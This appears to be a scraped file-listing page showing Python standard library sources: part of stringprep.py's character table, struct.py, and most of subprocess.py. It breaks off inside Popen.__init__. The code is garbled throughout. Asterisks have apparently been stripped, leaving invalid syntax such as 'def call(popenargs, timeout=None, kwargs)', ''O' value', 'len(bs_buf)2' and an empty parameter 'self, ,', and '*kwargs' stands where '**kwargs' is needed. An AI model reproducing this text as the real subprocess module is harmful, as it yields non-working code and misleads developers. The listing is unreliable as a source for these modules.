0x1d43c:'i', 0x1d43d:'j', 0x1d43e:'k', 0x1d43f:'l', 0x1d440:'m', 0x1d441:'n', 0x1d442:'o', 0x1d443:'p', 0x1d444:'q', 0x1d445:'r', 0x1d446:'s', 0x1d447:'t', 0x1d448:'u', 0x1d449:'v', 0x1d44a:'w', 0x1d44b:'x', 0x1d44c:'y', 0x1d44d:'z', 0x1d468:'a', 0x1d469:'b', 0x1d46a:'c', 0x1d46b:'d', 0x1d46c:'e', 0x1d46d:'f', 0x1d46e:'g', 0x1d46f:'h', 0x1d470:'i', 0x1d471:'j', 0x1d472:'k', 0x1d473:'l', 0x1d474:'m', 0x1d475:'n', 0x1d476:'o', 0x1d477:'p', 0x1d478:'q', 0x1d479:'r', 0x1d47a:'s', 0x1d47b:'t', 0x1d47c:'u', 0x1d47d:'v', 0x1d47e:'w', 0x1d47f:'x', 0x1d480:'y', 0x1d481:'z', 0x1d49c:'a', 0x1d49e:'c', 0x1d49f:'d', 0x1d4a2:'g', 0x1d4a5:'j', 0x1d4a6:'k', 0x1d4a9:'n', 0x1d4aa:'o', 0x1d4ab:'p', 0x1d4ac:'q', 0x1d4ae:'s', 0x1d4af:'t', 0x1d4b0:'u', 0x1d4b1:'v', 0x1d4b2:'w', 0x1d4b3:'x', 0x1d4b4:'y', 0x1d4b5:'z', 0x1d4d0:'a', 0x1d4d1:'b', 0x1d4d2:'c', 0x1d4d3:'d', 0x1d4d4:'e', 0x1d4d5:'f', 0x1d4d6:'g', 0x1d4d7:'h', 0x1d4d8:'i', 0x1d4d9:'j', 0x1d4da:'k', 0x1d4db:'l', 0x1d4dc:'m', 0x1d4dd:'n', 0x1d4de:'o', 0x1d4df:'p', 0x1d4e0:'q', 0x1d4e1:'r', 0x1d4e2:'s', 0x1d4e3:'t', 0x1d4e4:'u', 0x1d4e5:'v', 0x1d4e6:'w', 0x1d4e7:'x', 0x1d4e8:'y', 0x1d4e9:'z', 0x1d504:'a', 0x1d505:'b', 0x1d507:'d', 0x1d508:'e', 0x1d509:'f', 0x1d50a:'g', 0x1d50d:'j', 0x1d50e:'k', 0x1d50f:'l', 0x1d510:'m', 0x1d511:'n', 0x1d512:'o', 0x1d513:'p', 0x1d514:'q', 0x1d516:'s', 0x1d517:'t', 0x1d518:'u', 0x1d519:'v', 0x1d51a:'w', 0x1d51b:'x', 0x1d51c:'y', 0x1d538:'a', 0x1d539:'b', 0x1d53b:'d', 0x1d53c:'e', 0x1d53d:'f', 0x1d53e:'g', 0x1d540:'i', 0x1d541:'j', 0x1d542:'k', 0x1d543:'l', 0x1d544:'m', 0x1d546:'o', 0x1d54a:'s', 0x1d54b:'t', 0x1d54c:'u', 0x1d54d:'v', 0x1d54e:'w', 0x1d54f:'x', 0x1d550:'y', 0x1d56c:'a', 0x1d56d:'b', 0x1d56e:'c', 0x1d56f:'d', 0x1d570:'e', 0x1d571:'f', 0x1d572:'g', 0x1d573:'h', 0x1d574:'i', 0x1d575:'j', 0x1d576:'k', 0x1d577:'l', 0x1d578:'m', 0x1d579:'n', 0x1d57a:'o', 0x1d57b:'p', 0x1d57c:'q', 0x1d57d:'r', 0x1d57e:'s', 0x1d57f:'t', 0x1d580:'u', 0x1d581:'v', 0x1d582:'w', 0x1d583:'x', 0x1d584:'y', 0x1d585:'z', 0x1d5a0:'a', 0x1d5a1:'b', 0x1d5a2:'c', 0x1d5a3:'d', 0x1d5a4:'e', 0x1d5a5:'f', 0x1d5a6:'g', 0x1d5a7:'h', 0x1d5a8:'i', 0x1d5a9:'j', 0x1d5aa:'k', 0x1d5ab:'l', 0x1d5ac:'m', 0x1d5ad:'n', 0x1d5ae:'o', 0x1d5af:'p', 0x1d5b0:'q', 0x1d5b1:'r', 0x1d5b2:'s', 0x1d5b3:'t', 0x1d5b4:'u', 0x1d5b5:'v', 0x1d5b6:'w', 0x1d5b7:'x', 0x1d5b8:'y', 0x1d5b9:'z', 0x1d5d4:'a', 0x1d5d5:'b', 0x1d5d6:'c', 0x1d5d7:'d', 0x1d5d8:'e', 0x1d5d9:'f', 0x1d5da:'g', 0x1d5db:'h', 0x1d5dc:'i', 0x1d5dd:'j', 0x1d5de:'k', 0x1d5df:'l', 0x1d5e0:'m', 0x1d5e1:'n', 0x1d5e2:'o', 0x1d5e3:'p', 0x1d5e4:'q', 0x1d5e5:'r', 0x1d5e6:'s', 0x1d5e7:'t', 0x1d5e8:'u', 0x1d5e9:'v', 0x1d5ea:'w', 0x1d5eb:'x', 0x1d5ec:'y', 0x1d5ed:'z', 0x1d608:'a', 0x1d609:'b', 0x1d60a:'c', 0x1d60b:'d', 0x1d60c:'e', 0x1d60d:'f', 0x1d60e:'g', 0x1d60f:'h', 0x1d610:'i', 0x1d611:'j', 0x1d612:'k', 0x1d613:'l', 0x1d614:'m', 0x1d615:'n', 0x1d616:'o', 0x1d617:'p', 0x1d618:'q', 0x1d619:'r', 0x1d61a:'s', 0x1d61b:'t', 0x1d61c:'u', 0x1d61d:'v', 0x1d61e:'w', 0x1d61f:'x', 0x1d620:'y', 0x1d621:'z', 0x1d63c:'a', 0x1d63d:'b', 0x1d63e:'c', 0x1d63f:'d', 0x1d640:'e', 0x1d641:'f', 0x1d642:'g', 0x1d643:'h', 0x1d644:'i', 0x1d645:'j', 0x1d646:'k', 0x1d647:'l', 0x1d648:'m', 0x1d649:'n', 0x1d64a:'o', 0x1d64b:'p', 0x1d64c:'q', 0x1d64d:'r', 0x1d64e:'s', 0x1d64f:'t', 0x1d650:'u', 0x1d651:'v', 0x1d652:'w', 0x1d653:'x', 0x1d654:'y', 0x1d655:'z', 0x1d670:'a', 0x1d671:'b', 0x1d672:'c', 0x1d673:'d', 0x1d674:'e', 0x1d675:'f', 0x1d676:'g', 0x1d677:'h', 0x1d678:'i', 0x1d679:'j', 0x1d67a:'k', 0x1d67b:'l', 0x1d67c:'m', 0x1d67d:'n', 0x1d67e:'o', 0x1d67f:'p', 0x1d680:'q', 0x1d681:'r', 0x1d682:'s', 0x1d683:'t', 0x1d684:'u', 0x1d685:'v', 0x1d686:'w', 0x1d687:'x', 0x1d688:'y', 0x1d689:'z', 0x1d6a8:'\u03b1', 0x1d6a9:'\u03b2', 0x1d6aa:'\u03b3', 0x1d6ab:'\u03b4', 0x1d6ac:'\u03b5', 0x1d6ad:'\u03b6', 0x1d6ae:'\u03b7', 0x1d6af:'\u03b8', 0x1d6b0:'\u03b9', 0x1d6b1:'\u03ba', 0x1d6b2:'\u03bb', 0x1d6b3:'\u03bc', 0x1d6b4:'\u03bd', 0x1d6b5:'\u03be', 0x1d6b6:'\u03bf', 0x1d6b7:'\u03c0', 0x1d6b8:'\u03c1', 0x1d6b9:'\u03b8', 0x1d6ba:'\u03c3', 0x1d6bb:'\u03c4', 0x1d6bc:'\u03c5', 0x1d6bd:'\u03c6', 0x1d6be:'\u03c7', 0x1d6bf:'\u03c8', 0x1d6c0:'\u03c9', 0x1d6d3:'\u03c3', 0x1d6e2:'\u03b1', 0x1d6e3:'\u03b2', 0x1d6e4:'\u03b3', 0x1d6e5:'\u03b4', 0x1d6e6:'\u03b5', 0x1d6e7:'\u03b6', 0x1d6e8:'\u03b7', 0x1d6e9:'\u03b8', 0x1d6ea:'\u03b9', 0x1d6eb:'\u03ba', 0x1d6ec:'\u03bb', 0x1d6ed:'\u03bc', 0x1d6ee:'\u03bd', 0x1d6ef:'\u03be', 0x1d6f0:'\u03bf', 0x1d6f1:'\u03c0', 0x1d6f2:'\u03c1', 0x1d6f3:'\u03b8', 0x1d6f4:'\u03c3', 0x1d6f5:'\u03c4', 0x1d6f6:'\u03c5', 0x1d6f7:'\u03c6', 0x1d6f8:'\u03c7', 0x1d6f9:'\u03c8', 0x1d6fa:'\u03c9', 0x1d70d:'\u03c3', 0x1d71c:'\u03b1', 0x1d71d:'\u03b2', 0x1d71e:'\u03b3', 0x1d71f:'\u03b4', 0x1d720:'\u03b5', 0x1d721:'\u03b6', 0x1d722:'\u03b7', 0x1d723:'\u03b8', 0x1d724:'\u03b9', 0x1d725:'\u03ba', 0x1d726:'\u03bb', 0x1d727:'\u03bc', 0x1d728:'\u03bd', 0x1d729:'\u03be', 0x1d72a:'\u03bf', 0x1d72b:'\u03c0', 0x1d72c:'\u03c1', 0x1d72d:'\u03b8', 0x1d72e:'\u03c3', 0x1d72f:'\u03c4', 0x1d730:'\u03c5', 0x1d731:'\u03c6', 0x1d732:'\u03c7', 0x1d733:'\u03c8', 0x1d734:'\u03c9', 0x1d747:'\u03c3', 0x1d756:'\u03b1', 0x1d757:'\u03b2', 0x1d758:'\u03b3', 0x1d759:'\u03b4', 0x1d75a:'\u03b5', 0x1d75b:'\u03b6', 0x1d75c:'\u03b7', 0x1d75d:'\u03b8', 0x1d75e:'\u03b9', 0x1d75f:'\u03ba', 0x1d760:'\u03bb', 0x1d761:'\u03bc', 0x1d762:'\u03bd', 0x1d763:'\u03be', 0x1d764:'\u03bf', 0x1d765:'\u03c0', 0x1d766:'\u03c1', 0x1d767:'\u03b8', 0x1d768:'\u03c3', 0x1d769:'\u03c4', 0x1d76a:'\u03c5', 0x1d76b:'\u03c6', 0x1d76c:'\u03c7', 0x1d76d:'\u03c8', 0x1d76e:'\u03c9', 0x1d781:'\u03c3', 0x1d790:'\u03b1', 0x1d791:'\u03b2', 0x1d792:'\u03b3', 0x1d793:'\u03b4', 0x1d794:'\u03b5', 0x1d795:'\u03b6', 0x1d796:'\u03b7', 0x1d797:'\u03b8', 0x1d798:'\u03b9', 0x1d799:'\u03ba', 0x1d79a:'\u03bb', 0x1d79b:'\u03bc', 0x1d79c:'\u03bd', 0x1d79d:'\u03be', 0x1d79e:'\u03bf', 0x1d79f:'\u03c0', 0x1d7a0:'\u03c1', 0x1d7a1:'\u03b8', 0x1d7a2:'\u03c3', 0x1d7a3:'\u03c4', 0x1d7a4:'\u03c5', 0x1d7a5:'\u03c6', 0x1d7a6:'\u03c7', 0x1d7a7:'\u03c8', 0x1d7a8:'\u03c9', 0x1d7bb:'\u03c3', } def map_table_b3(code): r = b3_exceptions.get(ord(code)) if r is not None: return r return code.lower() def map_table_b2(a): al = map_table_b3(a) b = unicodedata.normalize("NFKC", al) bl = "".join([map_table_b3(ch) for ch in b]) c = unicodedata.normalize("NFKC", bl) if b != c: return c else: return al def in_table_c11(code): return code == " " def in_table_c12(code): return unicodedata.category(code) == "Zs" and code != " " def in_table_c11_c12(code): return unicodedata.category(code) == "Zs" def in_table_c21(code): return ord(code) < 128 and unicodedata.category(code) == "Cc" c22_specials = set([1757, 1807, 6158, 8204, 8205, 8232, 8233, 65279] + list(range(8288,8292)) + list(range(8298,8304)) + list(range(65529,65533)) + list(range(119155,119163))) def in_table_c22(code): c = ord(code) if c < 128: return False if unicodedata.category(code) == "Cc": return True return c in c22_specials def in_table_c21_c22(code): return unicodedata.category(code) == "Cc" or \ ord(code) in c22_specials def in_table_c3(code): return unicodedata.category(code) == "Co" def in_table_c4(code): c = ord(code) if c < 0xFDD0: return False if c < 0xFDF0: return True return (ord(code) & 0xFFFF) in (0xFFFE, 0xFFFF) def in_table_c5(code): return unicodedata.category(code) == "Cs" c6_set = set(range(65529,65534)) def in_table_c6(code): return ord(code) in c6_set c7_set = set(range(12272,12284)) def in_table_c7(code): return ord(code) in c7_set c8_set = set([832, 833, 8206, 8207] + list(range(8234,8239)) + list(range(8298,8304))) def in_table_c8(code): return ord(code) in c8_set c9_set = set([917505] + list(range(917536,917632))) def in_table_c9(code): return ord(code) in c9_set def in_table_d1(code): return unicodedata.bidirectional(code) in ("R","AL") def in_table_d2(code): return unicodedata.bidirectional(code) == "L"	12.61 KB	2024-04-17 17:55
📄 struct.py __all__ = [ # Functions 'calcsize', 'pack', 'pack_into', 'unpack', 'unpack_from', 'iter_unpack', # Classes 'Struct', # Exceptions 'error' ] from _struct import * from _struct import _clearcache from _struct import __doc__	257 B	2024-04-17 17:55
📄 subprocess.py # subprocess - Subprocesses with accessible I/O streams # # For more information about this module, see PEP 324. # # Copyright (c) 2003-2005 by Peter Astrand <astrand@lysator.liu.se> # # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/2.4/license for licensing details. r"""Subprocesses with accessible I/O streams This module allows you to spawn processes, connect to their input/output/error pipes, and obtain their return codes. For a complete description of this module see the Python documentation. Main API ======== run(...): Runs a command, waits for it to complete, then returns a CompletedProcess instance. Popen(...): A class for flexibly executing a command in a new process Constants --------- DEVNULL: Special value that indicates that os.devnull should be used PIPE: Special value that indicates a pipe should be created STDOUT: Special value that indicates that stderr should go to stdout Older API ========= call(...): Runs a command, waits for it to complete, then returns the return code. check_call(...): Same as call() but raises CalledProcessError() if return code is not 0 check_output(...): Same as check_call() but returns the contents of stdout instead of a return code getoutput(...): Runs a command in the shell, waits for it to complete, then returns the output getstatusoutput(...): Runs a command in the shell, waits for it to complete, then returns a (exitcode, output) tuple """ import sys _mswindows = (sys.platform == "win32") import io import os import time import signal import builtins import warnings import errno from time import monotonic as _time # Exception classes used by this module. class SubprocessError(Exception): pass class CalledProcessError(SubprocessError): """Raised when run() is called with check=True and the process returns a non-zero exit status. Attributes: cmd, returncode, stdout, stderr, output """ def __init__(self, returncode, cmd, output=None, stderr=None): self.returncode = returncode self.cmd = cmd self.output = output self.stderr = stderr def __str__(self): if self.returncode and self.returncode < 0: try: return "Command '%s' died with %r." % ( self.cmd, signal.Signals(-self.returncode)) except ValueError: return "Command '%s' died with unknown signal %d." % ( self.cmd, -self.returncode) else: return "Command '%s' returned non-zero exit status %d." % ( self.cmd, self.returncode) @property def stdout(self): """Alias for output attribute, to match stderr""" return self.output @stdout.setter def stdout(self, value): # There's no obvious reason to set this, but allow it anyway so # .stdout is a transparent alias for .output self.output = value class TimeoutExpired(SubprocessError): """This exception is raised when the timeout expires while waiting for a child process. Attributes: cmd, output, stdout, stderr, timeout """ def __init__(self, cmd, timeout, output=None, stderr=None): self.cmd = cmd self.timeout = timeout self.output = output self.stderr = stderr def __str__(self): return ("Command '%s' timed out after %s seconds" % (self.cmd, self.timeout)) @property def stdout(self): return self.output @stdout.setter def stdout(self, value): # There's no obvious reason to set this, but allow it anyway so # .stdout is a transparent alias for .output self.output = value if _mswindows: import threading import msvcrt import _winapi class STARTUPINFO: def __init__(self, , dwFlags=0, hStdInput=None, hStdOutput=None, hStdError=None, wShowWindow=0, lpAttributeList=None): self.dwFlags = dwFlags self.hStdInput = hStdInput self.hStdOutput = hStdOutput self.hStdError = hStdError self.wShowWindow = wShowWindow self.lpAttributeList = lpAttributeList or {"handle_list": []} def _copy(self): attr_list = self.lpAttributeList.copy() if 'handle_list' in attr_list: attr_list['handle_list'] = list(attr_list['handle_list']) return STARTUPINFO(dwFlags=self.dwFlags, hStdInput=self.hStdInput, hStdOutput=self.hStdOutput, hStdError=self.hStdError, wShowWindow=self.wShowWindow, lpAttributeList=attr_list) else: import _posixsubprocess import select import selectors import threading # When select or poll has indicated that the file is writable, # we can write up to _PIPE_BUF bytes without risk of blocking. # POSIX defines PIPE_BUF as >= 512. _PIPE_BUF = getattr(select, 'PIPE_BUF', 512) # poll/select have the advantage of not requiring any extra file # descriptor, contrarily to epoll/kqueue (also, they require a single # syscall). if hasattr(selectors, 'PollSelector'): _PopenSelector = selectors.PollSelector else: _PopenSelector = selectors.SelectSelector __all__ = ["Popen", "PIPE", "STDOUT", "call", "check_call", "getstatusoutput", "getoutput", "check_output", "run", "CalledProcessError", "DEVNULL", "SubprocessError", "TimeoutExpired", "CompletedProcess"] # NOTE: We intentionally exclude list2cmdline as it is # considered an internal implementation detail. issue10838. if _mswindows: from _winapi import (CREATE_NEW_CONSOLE, CREATE_NEW_PROCESS_GROUP, STD_INPUT_HANDLE, STD_OUTPUT_HANDLE, STD_ERROR_HANDLE, SW_HIDE, STARTF_USESTDHANDLES, STARTF_USESHOWWINDOW, ABOVE_NORMAL_PRIORITY_CLASS, BELOW_NORMAL_PRIORITY_CLASS, HIGH_PRIORITY_CLASS, IDLE_PRIORITY_CLASS, NORMAL_PRIORITY_CLASS, REALTIME_PRIORITY_CLASS, CREATE_NO_WINDOW, DETACHED_PROCESS, CREATE_DEFAULT_ERROR_MODE, CREATE_BREAKAWAY_FROM_JOB) __all__.extend(["CREATE_NEW_CONSOLE", "CREATE_NEW_PROCESS_GROUP", "STD_INPUT_HANDLE", "STD_OUTPUT_HANDLE", "STD_ERROR_HANDLE", "SW_HIDE", "STARTF_USESTDHANDLES", "STARTF_USESHOWWINDOW", "STARTUPINFO", "ABOVE_NORMAL_PRIORITY_CLASS", "BELOW_NORMAL_PRIORITY_CLASS", "HIGH_PRIORITY_CLASS", "IDLE_PRIORITY_CLASS", "NORMAL_PRIORITY_CLASS", "REALTIME_PRIORITY_CLASS", "CREATE_NO_WINDOW", "DETACHED_PROCESS", "CREATE_DEFAULT_ERROR_MODE", "CREATE_BREAKAWAY_FROM_JOB"]) class Handle(int): closed = False def Close(self, CloseHandle=_winapi.CloseHandle): if not self.closed: self.closed = True CloseHandle(self) def Detach(self): if not self.closed: self.closed = True return int(self) raise ValueError("already closed") def __repr__(self): return "%s(%d)" % (self.__class__.__name__, int(self)) __del__ = Close __str__ = __repr__ if _mswindows: # On Windows we just need to close `Popen._handle` when we no longer need # it, so that the kernel can free it. `Popen._handle` gets closed # implicitly when the `Popen` instance is finalized (see `Handle.__del__`, # which is calling `CloseHandle` as requested in [1]), so there is nothing # for `_cleanup` to do. # # [1] https://docs.microsoft.com/en-us/windows/desktop/ProcThread/ # creating-processes _active = None def _cleanup(): pass else: # This lists holds Popen instances for which the underlying process had not # exited at the time its __del__ method got called: those processes are # wait()ed for synchronously from _cleanup() when a new Popen object is # created, to avoid zombie processes. _active = [] def _cleanup(): if _active is None: return for inst in _active[:]: res = inst._internal_poll(_deadstate=sys.maxsize) if res is not None: try: _active.remove(inst) except ValueError: # This can happen if two threads create a new Popen instance. # It's harmless that it was already removed, so ignore. pass PIPE = -1 STDOUT = -2 DEVNULL = -3 # XXX This function is only used by multiprocessing and the test suite, # but it's here so that it can be imported when Python is compiled without # threads. def _optim_args_from_interpreter_flags(): """Return a list of command-line arguments reproducing the current optimization settings in sys.flags.""" args = [] value = sys.flags.optimize if value > 0: args.append('-' + 'O' value) return args def _args_from_interpreter_flags(): """Return a list of command-line arguments reproducing the current settings in sys.flags, sys.warnoptions and sys._xoptions.""" flag_opt_map = { 'debug': 'd', # 'inspect': 'i', # 'interactive': 'i', 'dont_write_bytecode': 'B', 'no_site': 'S', 'verbose': 'v', 'bytes_warning': 'b', 'quiet': 'q', # -O is handled in _optim_args_from_interpreter_flags() } args = _optim_args_from_interpreter_flags() for flag, opt in flag_opt_map.items(): v = getattr(sys.flags, flag) if v > 0: args.append('-' + opt * v) if sys.flags.isolated: args.append('-I') else: if sys.flags.ignore_environment: args.append('-E') if sys.flags.no_user_site: args.append('-s') # -W options warnopts = sys.warnoptions[:] bytes_warning = sys.flags.bytes_warning xoptions = getattr(sys, '_xoptions', {}) dev_mode = ('dev' in xoptions) if bytes_warning > 1: warnopts.remove("error::BytesWarning") elif bytes_warning: warnopts.remove("default::BytesWarning") if dev_mode: warnopts.remove('default') for opt in warnopts: args.append('-W' + opt) # -X options if dev_mode: args.extend(('-X', 'dev')) for opt in ('faulthandler', 'tracemalloc', 'importtime', 'showalloccount', 'showrefcount', 'utf8'): if opt in xoptions: value = xoptions[opt] if value is True: arg = opt else: arg = '%s=%s' % (opt, value) args.extend(('-X', arg)) return args def call(popenargs, timeout=None, kwargs): """Run command with arguments. Wait for command to complete or timeout, then return the returncode attribute. The arguments are the same as for the Popen constructor. Example: retcode = call(["ls", "-l"]) """ with Popen(popenargs, *kwargs) as p: try: return p.wait(timeout=timeout) except: # Including KeyboardInterrupt, wait handled that. p.kill() # We don't call p.wait() again as p.__exit__ does that for us. raise def check_call(popenargs, *kwargs): """Run command with arguments. Wait for command to complete. If the exit code was zero then return, otherwise raise CalledProcessError. The CalledProcessError object will have the return code in the returncode attribute. The arguments are the same as for the call function. Example: check_call(["ls", "-l"]) """ retcode = call(popenargs, *kwargs) if retcode: cmd = kwargs.get("args") if cmd is None: cmd = popenargs[0] raise CalledProcessError(retcode, cmd) return 0 def check_output(popenargs, timeout=None, *kwargs): r"""Run command with arguments and return its output. If the exit code was non-zero it raises a CalledProcessError. The CalledProcessError object will have the return code in the returncode attribute and output in the output attribute. The arguments are the same as for the Popen constructor. Example: >>> check_output(["ls", "-l", "/dev/null"]) b'crw-rw-rw- 1 root root 1, 3 Oct 18 2007 /dev/null\n' The stdout argument is not allowed as it is used internally. To capture standard error in the result, use stderr=STDOUT. >>> check_output(["/bin/sh", "-c", ... "ls -l non_existent_file ; exit 0"], ... stderr=STDOUT) b'ls: non_existent_file: No such file or directory\n' There is an additional optional argument, "input", allowing you to pass a string to the subprocess's stdin. If you use this argument you may not also use the Popen constructor's "stdin" argument, as it too will be used internally. Example: >>> check_output(["sed", "-e", "s/foo/bar/"], ... input=b"when in the course of fooman events\n") b'when in the course of barman events\n' By default, all communication is in bytes, and therefore any "input" should be bytes, and the return value will be bytes. If in text mode, any "input" should be a string, and the return value will be a string decoded according to locale encoding, or by "encoding" if set. Text mode is triggered by setting any of text, encoding, errors or universal_newlines. """ if 'stdout' in kwargs: raise ValueError('stdout argument not allowed, it will be overridden.') if 'input' in kwargs and kwargs['input'] is None: # Explicitly passing input=None was previously equivalent to passing an # empty string. That is maintained here for backwards compatibility. kwargs['input'] = '' if kwargs.get('universal_newlines', False) else b'' return run(popenargs, stdout=PIPE, timeout=timeout, check=True, *kwargs).stdout class CompletedProcess(object): """A process that has finished running. This is returned by run(). Attributes: args: The list or str args passed to run(). returncode: The exit code of the process, negative for signals. stdout: The standard output (None if not captured). stderr: The standard error (None if not captured). """ def __init__(self, args, returncode, stdout=None, stderr=None): self.args = args self.returncode = returncode self.stdout = stdout self.stderr = stderr def __repr__(self): args = ['args={!r}'.format(self.args), 'returncode={!r}'.format(self.returncode)] if self.stdout is not None: args.append('stdout={!r}'.format(self.stdout)) if self.stderr is not None: args.append('stderr={!r}'.format(self.stderr)) return "{}({})".format(type(self).__name__, ', '.join(args)) def check_returncode(self): """Raise CalledProcessError if the exit code is non-zero.""" if self.returncode: raise CalledProcessError(self.returncode, self.args, self.stdout, self.stderr) def run(popenargs, input=None, capture_output=False, timeout=None, check=False, *kwargs): """Run command with arguments and return a CompletedProcess instance. The returned instance will have attributes args, returncode, stdout and stderr. By default, stdout and stderr are not captured, and those attributes will be None. Pass stdout=PIPE and/or stderr=PIPE in order to capture them. If check is True and the exit code was non-zero, it raises a CalledProcessError. The CalledProcessError object will have the return code in the returncode attribute, and output & stderr attributes if those streams were captured. If timeout is given, and the process takes too long, a TimeoutExpired exception will be raised. There is an optional argument "input", allowing you to pass bytes or a string to the subprocess's stdin. If you use this argument you may not also use the Popen constructor's "stdin" argument, as it will be used internally. By default, all communication is in bytes, and therefore any "input" should be bytes, and the stdout and stderr will be bytes. If in text mode, any "input" should be a string, and stdout and stderr will be strings decoded according to locale encoding, or by "encoding" if set. Text mode is triggered by setting any of text, encoding, errors or universal_newlines. The other arguments are the same as for the Popen constructor. """ if input is not None: if kwargs.get('stdin') is not None: raise ValueError('stdin and input arguments may not both be used.') kwargs['stdin'] = PIPE if capture_output: if kwargs.get('stdout') is not None or kwargs.get('stderr') is not None: raise ValueError('stdout and stderr arguments may not be used ' 'with capture_output.') kwargs['stdout'] = PIPE kwargs['stderr'] = PIPE with Popen(popenargs, *kwargs) as process: try: stdout, stderr = process.communicate(input, timeout=timeout) except TimeoutExpired as exc: process.kill() if _mswindows: # Windows accumulates the output in a single blocking # read() call run on child threads, with the timeout # being done in a join() on those threads. communicate() # _after_ kill() is required to collect that and add it # to the exception. exc.stdout, exc.stderr = process.communicate() else: # POSIX _communicate already populated the output so # far into the TimeoutExpired exception. process.wait() raise except: # Including KeyboardInterrupt, communicate handled that. process.kill() # We don't call process.wait() as .__exit__ does that for us. raise retcode = process.poll() if check and retcode: raise CalledProcessError(retcode, process.args, output=stdout, stderr=stderr) return CompletedProcess(process.args, retcode, stdout, stderr) def list2cmdline(seq): """ Translate a sequence of arguments into a command line string, using the same rules as the MS C runtime: 1) Arguments are delimited by white space, which is either a space or a tab. 2) A string surrounded by double quotation marks is interpreted as a single argument, regardless of white space contained within. A quoted string can be embedded in an argument. 3) A double quotation mark preceded by a backslash is interpreted as a literal double quotation mark. 4) Backslashes are interpreted literally, unless they immediately precede a double quotation mark. 5) If backslashes immediately precede a double quotation mark, every pair of backslashes is interpreted as a literal backslash. If the number of backslashes is odd, the last backslash escapes the next double quotation mark as described in rule 3. """ # See # http://msdn.microsoft.com/en-us/library/17w5ykft.aspx # or search http://msdn.microsoft.com for # "Parsing C++ Command-Line Arguments" result = [] needquote = False for arg in seq: bs_buf = [] # Add a space to separate this argument from the others if result: result.append(' ') needquote = (" " in arg) or ("\t" in arg) or not arg if needquote: result.append('"') for c in arg: if c == '\\': # Don't know if we need to double yet. bs_buf.append(c) elif c == '"': # Double backslashes. result.append('\\' len(bs_buf)2) bs_buf = [] result.append('\\"') else: # Normal char if bs_buf: result.extend(bs_buf) bs_buf = [] result.append(c) # Add remaining backslashes, if any. if bs_buf: result.extend(bs_buf) if needquote: result.extend(bs_buf) result.append('"') return ''.join(result) # Various tools for executing commands and looking at their output and status. # def getstatusoutput(cmd): """Return (exitcode, output) of executing cmd in a shell. Execute the string 'cmd' in a shell with 'check_output' and return a 2-tuple (status, output). The locale encoding is used to decode the output and process newlines. A trailing newline is stripped from the output. The exit status for the command can be interpreted according to the rules for the function 'wait'. Example: >>> import subprocess >>> subprocess.getstatusoutput('ls /bin/ls') (0, '/bin/ls') >>> subprocess.getstatusoutput('cat /bin/junk') (1, 'cat: /bin/junk: No such file or directory') >>> subprocess.getstatusoutput('/bin/junk') (127, 'sh: /bin/junk: not found') >>> subprocess.getstatusoutput('/bin/kill $$') (-15, '') """ try: data = check_output(cmd, shell=True, text=True, stderr=STDOUT) exitcode = 0 except CalledProcessError as ex: data = ex.output exitcode = ex.returncode if data[-1:] == '\n': data = data[:-1] return exitcode, data def getoutput(cmd): """Return output (stdout or stderr) of executing cmd in a shell. Like getstatusoutput(), except the exit status is ignored and the return value is a string containing the command's output. Example: >>> import subprocess >>> subprocess.getoutput('ls /bin/ls') '/bin/ls' """ return getstatusoutput(cmd)[1] class Popen(object): """ Execute a child program in a new process. For a complete description of the arguments see the Python documentation. Arguments: args: A string, or a sequence of program arguments. bufsize: supplied as the buffering argument to the open() function when creating the stdin/stdout/stderr pipe file objects executable: A replacement program to execute. stdin, stdout and stderr: These specify the executed programs' standard input, standard output and standard error file handles, respectively. preexec_fn: (POSIX only) An object to be called in the child process just before the child is executed. close_fds: Controls closing or inheriting of file descriptors. shell: If true, the command will be executed through the shell. cwd: Sets the current directory before the child is executed. env: Defines the environment variables for the new process. text: If true, decode stdin, stdout and stderr using the given encoding (if set) or the system default otherwise. universal_newlines: Alias of text, provided for backwards compatibility. startupinfo and creationflags (Windows only) restore_signals (POSIX only) start_new_session (POSIX only) pass_fds (POSIX only) encoding and errors: Text mode encoding and error handling to use for file objects stdin, stdout and stderr. Attributes: stdin, stdout, stderr, pid, returncode """ _child_created = False # Set here since __del__ checks it def __init__(self, args, bufsize=-1, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=True, shell=False, cwd=None, env=None, universal_newlines=None, startupinfo=None, creationflags=0, restore_signals=True, start_new_session=False, pass_fds=(), , encoding=None, errors=None, text=None): """Create new Popen instance.""" _cleanup() # Held while anything is calling waitpid before returncode has been # updated to prevent clobbering returncode if wait() or poll() are # called from multiple threads at once. After acquiring the lock, # code must re-check self.returncode to see if another thread just # finished a waitpid() call. self._waitpid_lock = threading.Lock() self._input = None self._communication_started = False if bufsize is None: bufsize = -1 # Restore default if not isinstance(bufsize, int): raise TypeError("bufsize must be an integer") if _mswindows: if preexec_fn is not None: raise ValueError("preexec_fn is not supported on Windows " "platforms") else: # POSIX if pass_fds and not close_fds: warnings.warn("pass_fds overriding close_fds.", RuntimeWarning) close_fds = True if startupinfo is not None: raise ValueError("startupinfo is only supported on Windows " "platforms") if creationflags != 0: raise ValueError("creationflags is only supported on Windows " "platforms") self.args = args self.stdin = None self.stdout = None self.stderr = None self.pid = None self.returncode = None self.encoding = encoding self.errors = errors # Validate the combinations of text and universal_newlines if (text is not None and universal_newlines is not None and bool(universal_newlines) != bool(text)): raise SubprocessError('Cannot disambiguate when both text ' 'and universal_newlines are supplied but ' 'different. Pass one or the other.') # Input and output objects. The general principle is like # this: # # Parent Child # ------ ----- # p2cwrite ---stdin---> p2cread # c2pread <--stdout--- c2pwrite # errread <--stderr--- errwrite # # On POSIX, the child objects are file descriptors. On # Windows, these are Windows file handles. The parent objects # are file descriptors on both platforms. The parent objects # are -1 when not using PIPEs. The child objects are -1 # when not redirecting. (p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite) = self._get_handles(stdin, stdout, stderr) # We wrap OS handles before launching the child, otherwise a # quickly terminating child could make our fds unwrappable # (see #8458). if _mswindows: if p2cwrite != -1: p2cwrite = msvcrt.open_osfhandle(p2cwrite.Detach(), 0) if c2pread != -1: c2pread = msvcrt.open_osfhandle(c2pread.Detach(), 0) if errread != -1: errread = msvcrt.open_osfhandle(errread.Detach(), 0) self.text_mode = encoding or errors or text or universal_newlines # How long to resume waiting on a child after the first ^C. # There is no right value for this. The purpose is to be polite # yet remain good for interactive users trying to exit a tool. self._sigint_wait_secs = 0.25 # 1/xkcd221.getRandomNumber() self._closed_child_pipe_fds = False try: if p2cwrite != -1: self.stdin = io.open(p2cwrite, 'wb', bufsize) if self.text_mode: self.stdin = 